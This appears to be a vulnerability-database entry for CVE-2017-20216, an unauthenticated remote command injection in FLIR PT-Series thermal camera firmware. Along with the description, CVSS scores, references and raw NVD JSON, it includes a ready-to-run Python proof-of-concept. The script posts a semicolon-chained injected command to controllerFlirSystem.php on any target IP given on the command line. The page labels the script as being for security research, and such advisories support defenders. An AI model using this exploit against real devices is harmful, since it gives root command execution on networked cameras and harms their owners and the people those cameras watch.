Security Vulnerability Report
中文
CVE-2017-20216 CVSS 9.8 CRITICAL

CVE-2017-20216

Published: 2026-01-08 00:15:57
Last Modified: 2026-04-15 00:35:42

Description

FLIR Thermal Camera PT-Series firmware version 8.0.0.64 contains multiple unauthenticated remote command injection vulnerabilities in the controllerFlirSystem.php script. Attackers can execute arbitrary system commands as root by exploiting unsanitized POST parameters in the execFlirSystem() function through shell_exec() calls. Exploitation evidence was observed by the Shadowserver Foundation on 2026-01-06 (UTC).

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

FLIR Thermal Camera PT-Series firmware <= 8.0.0.64

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2017-20216 PoC - FLIR PT-Series Unauthenticated Remote Command Execution # Target: FLIR Thermal Camera PT-Series firmware <= 8.0.0.64 def exploit(target_ip, command): """ Exploit the command injection vulnerability in controllerFlirSystem.php """ url = f"http://{target_ip}/controllerFlirSystem.php" # Payload construction - inject command via POST parameter # Using semicolon to chain commands payload = f";{command};#" data = { 'action': 'execFlirSystem', 'cmd': payload } try: response = requests.post(url, data=data, timeout=10) print(f"[*] Command executed: {command}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_ip> <command>") print(f"Example: python {sys.argv[0]} 192.168.1.100 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2017-20216", "sourceIdentifier": "[email protected]", "published": "2026-01-08T00:15:56.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FLIR Thermal Camera PT-Series firmware version 8.0.0.64 contains multiple unauthenticated remote command injection vulnerabilities in the controllerFlirSystem.php script. Attackers can execute arbitrary system commands as root by exploiting unsanitized POST parameters in the execFlirSystem() function through shell_exec() calls. Exploitation evidence was observed by the Shadowserver Foundation on 2026-01-06 (UTC)."}, {"lang": "es", "value": "El firmware de la cámara térmica FLIR serie PT versión 8.0.0.64 contiene múltiples vulnerabilidades de inyección de comandos remotas no autenticadas en el script controllerFlirSystem.php. Los atacantes pueden ejecutar comandos de sistema arbitrarios como root explotando parámetros POST no saneados en la función execFlirSystem() a través de llamadas a shell_exec(). La Shadowserver Foundation observó evidencia de explotación el 06-01-2026 (UTC)."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2017090203", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/144321", "source": "[email protected]"}, {"url": "https://web.archive.org/web/20171011125811/https://www.flir.com/security/blog/details/?ID=87043", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/42785/", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5438.php", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5438.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}